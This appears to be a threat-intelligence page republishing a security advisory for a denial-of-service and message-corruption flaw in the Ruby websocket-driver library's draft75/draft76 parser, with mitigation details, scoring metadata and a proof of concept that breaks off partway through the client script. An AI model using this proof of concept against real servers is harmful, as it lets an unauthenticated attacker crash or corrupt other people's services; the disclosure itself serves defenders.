CRITICALCVSS v3.1 9.1Vulnerability

CVE-2026-140016

### Summary An unauthenticated remote client can trigger message corruption and denial of service by starting a draft75 or draft76 WebSocket connection and sending a brief sequence of bytes. The byte sequence is parsed incorrectly and can lead to duplicate messages or server crash. ### Details The `websocket-driver` library supports earlier versions of the WebSocket protocol from before the RFC was standardised, particularly the `draft75` and `draft76` versions. There is a bug in the parsing of messages in these versions that can lead to the server duplicating received messages or crashing when a client sends a specific sequence of bytes over a connection being handled by this parser. No special conditions are required and the input message that triggers this behaviour is very short, so an attacker can easily crash a remote server. To mitigate this, the parser bug has been fixed, and support for draft protocol versions has been disabled by default. Servers wanting to continue to support these versions need to pass the option `allow_drafts: true` when creating a driver instance. ### Proof of concept Given a server using `websocket-driver` to handle WebSocket connections: ```rb require 'eventmachine' require 'websocket/driver' module Connection def initialize @driver = WebSocket::Driver.server(self) @driver.on(:connect) { |ev| @driver.start if WebSocket::Driver.websocket? @driver.env } @driver.on(:close) { |ev| close_connection_after_writing } @driver.on(:message) { |ev| p [:msg, ev.data] } end def receive_data(data) @driver.parse(data) end def write(data) send_data(data) end end EM.run { EM.start_server('127.0.0.1', 8000, Connection) } ``` A client can connect and send a set of headers that will pass as a draft75 handshake, followed by two message frames: ```rb require 'eventmachine' require 'uri' module Connection def connection_completed send_data [ 'GET / HTTP/1.1', 'Host: 127.0.0.1:8000',

Properties

Severity
critical
Summary
websocket-driver: Message corruption and denial of service triggered by crafted client message
Nvd fetched at
2026-12-02T06:37:54.190518+00:00
Epss score
0.00806
Cvss severity
CRITICAL
Cvss score
9.1
Retrieved at
2026-12-02T06:40:14+00:00
Ghsa published
2026-12-01T18:21:15Z
Source url
https://github.com/advisories/GHSA-pf93-24xc-xgxc
Ghsa updated
2026-12-01T18:21:16Z
Ghsa id
GHSA-pf93-24xc-xgxc
Last source
FIRST EPSS
Score
9.1
Cvss version
3.1
Cve id
CVE-2026-140016
Cvss vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
First seen by Signal
2026-11-30T22:28:40+00:00
Name
CVE-2026-140016
Is ghsa only
false
Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H

Related Entities (4)

HAS_WEAKNESS (2)

AFFECTS (1)

VULNERABLE_TO (1)

Related research

Explore deeper with Ninja Signal's threat intelligence graph

CVE-2026-140016 (CVSS v3.1 9.1) — Ninja Signal Threat Intelligence | Ninja Signal